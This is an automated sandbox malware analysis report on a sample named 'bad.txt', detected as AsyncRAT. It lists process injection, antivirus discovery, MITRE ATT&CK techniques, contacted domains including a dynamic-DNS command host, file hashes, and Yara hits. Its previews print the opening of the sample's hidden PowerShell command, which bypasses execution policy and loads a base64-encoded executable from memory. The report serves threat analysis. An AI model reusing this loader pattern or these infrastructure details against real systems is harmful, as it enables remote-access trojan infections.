Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 0000000F.00000002.1735219264.000001FA636A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2420233433.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2427144968.0000000003405000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2424988500.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Scheduled Task/Job	211 Process Injection	11 Masquerading	1 Input Capture	2 Security Software Discovery	Remote Services	1 Input Capture	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	211 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	2 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
paste.ee	104.21.84.67	true	false	high
ydekmoviess.sytes.net	193.34.212.115	true	false	unknown
pastebin.com	104.20.3.235	true	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.3.235	pastebin.com	United States	13335	CLOUDFLARENETUS	false
193.34.212.115	ydekmoviess.sytes.net	Poland	201814	PL-SKYTECH-ASPL	false
199.232.214.172	bg.microsoft.map.fastly.net	United States	54113	FASTLYUS	false
184.28.90.27	unknown	United States	16625	AKAMAI-ASUS	false
104.21.84.67	paste.ee	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578479
Start date and time:	2024-12-19 19:40:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	bad.txt
Detection:	MAL
Classification:	mal96.troj.evad.winTXT@8/5@3/20
Cookbook Comments:	Found application associated with file extension: .txt

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Timeout during stream target processing, analysis might miss dynamic analysis data
VT rate limit hit for: bad.txt

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	unknown
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.245596380966818
Encrypted:	false
SSDEEP:
MD5:	D80D14A798045C9B16E8266C0C2DA9C5
SHA1:	E8D2B5DB8F944A2F3E17C131589D9EC198E415E9
SHA-256:	25D993878057578CBCB6D552FDD9732ECA729131FAE2B89EAC3B68D3742163F2
SHA-512:	69CC6CD11E0E578ABEE4ACADEED2C2AD994D0F08AD9BDD5EBF1790A9A5E6CF9E74D590F1CAA58590FF6BC9C705EA822BF9972E6F014B332D3AA98F6064CC4A56
Malicious:	false
Reputation:	unknown
Preview:	p...... ........W{ .ER..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	14744
Entropy (8bit):	5.490952547570959
Encrypted:	false
SSDEEP:
MD5:	09A93F41BAD645C1C6E61E247F52B710
SHA1:	A947B6404AFA86C568CFEB62742E79D889D106D5
SHA-256:	602379EED62006FDDE07EA0B56D22BD1A36DFFE87335712E195317DABE186569
SHA-512:	3D89EA1724973B8D13155516D5226114E2129EE85F0EBB8350EB19FD3FB38FDA7107286B4F2B00EBECD552F63131DBD18827F124FB76F0C21AD9E77ED6C9521D
Malicious:	false
Reputation:	unknown
Preview:	@...e...........8...............................................H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.4.................%...K... ...........System.Xml..@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.H..............@-....f.J.\|.7h8..........Microsoft.Powershell.PSReadline.8.................C}...C....n..B".......Microsoft.CSharp@...............

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fowi0k3f.r2i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Desktop\bad.cmd

Download File

Process:	C:\Windows\System32\notepad.exe
File Type:	ASCII text, with very long lines (20674), with no line terminators
Category:	dropped
Size (bytes):	20674
Entropy (8bit):	4.964417431027495
Encrypted:	false
SSDEEP:
MD5:	D02C187310EADF963C0D57378B8595FC
SHA1:	C8C42BD1D0EEE9C27A7718B478492CA5835B04DD
SHA-256:	E312DFDDEB5BA9867345DE8A4926B449854FB3EA90355C0F4150BBCB49593852
SHA-512:	EB6EB7832445CFF815C029632A94CE3EF2C9CE240132A67D38B84B8939D2A8D15298067787E3036361E003B8374BF6A7E1A586D2BE319A8166926E466FAB00D7
Malicious:	true
Reputation:	unknown
Preview:	"powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAPZXmuwAAAAAAAAAAPAAIgALAjAAADgAAAACAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAXDoBAAIAYIUAAEAAAAAAAABAAAAAAAAAAAAQAAAAAAAAIAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFFYAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAABIAAAAAAAAAAAAAAAudGV4dAAAAFA3AAAAIAAAADgAAAACAAAAAAAAAAAAAAAAAAAgAABgLnJzcmMAAAAQAAAAAGAAAAACAAAAOgAAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAgAFAMQpAACYKwAAAQAAABAAAAZcVQAAuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeAigXAAAKKq5+AQAABC0ecgEAAHDQAgAAAigYAAAKbxkAAApzGgAACoABAAAE

Static File Info

General

File type:	ASCII text, with very long lines (20674), with no line terminators
Entropy (8bit):	4.964417431027495
TrID:
File name:	bad.txt
File size:	20'674 bytes
MD5:	d02c187310eadf963c0d57378b8595fc
SHA1:	c8c42bd1d0eee9c27a7718b478492ca5835b04dd
SHA256:	e312dfddeb5ba9867345de8a4926b449854fb3ea90355c0f4150bbcb49593852
SHA512:	eb6eb7832445cff815c029632a94ce3ef2c9ce240132a67d38b84b8939d2a8d15298067787e3036361e003b8374bf6a7e1a586d2be319a8166926e466fab00d7
SSDEEP:	384:XY9BUTO36iwSf8uqkwpKW/bv8p4EEEBCN1mC5VVqHwy7d55YfwCAXOIpRD:gqOkG8uqkwpKW/bv8pVCzmSfmt74mbpx
TLSH:	11923B33C142BED87EB61F84BC4424204CCC7AA7522855A8FECE08D67CE5524DF7A9B8
File Content Preview:	"powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAn

File Icon


Icon Hash:	72eaa2aaa2a2a292

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bad.txt

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fowi0k3f.r2i.ps1

C:\Users\user\Desktop\bad.cmd

Static File Info

General

File Icon

Windows Analysis Report
bad.txt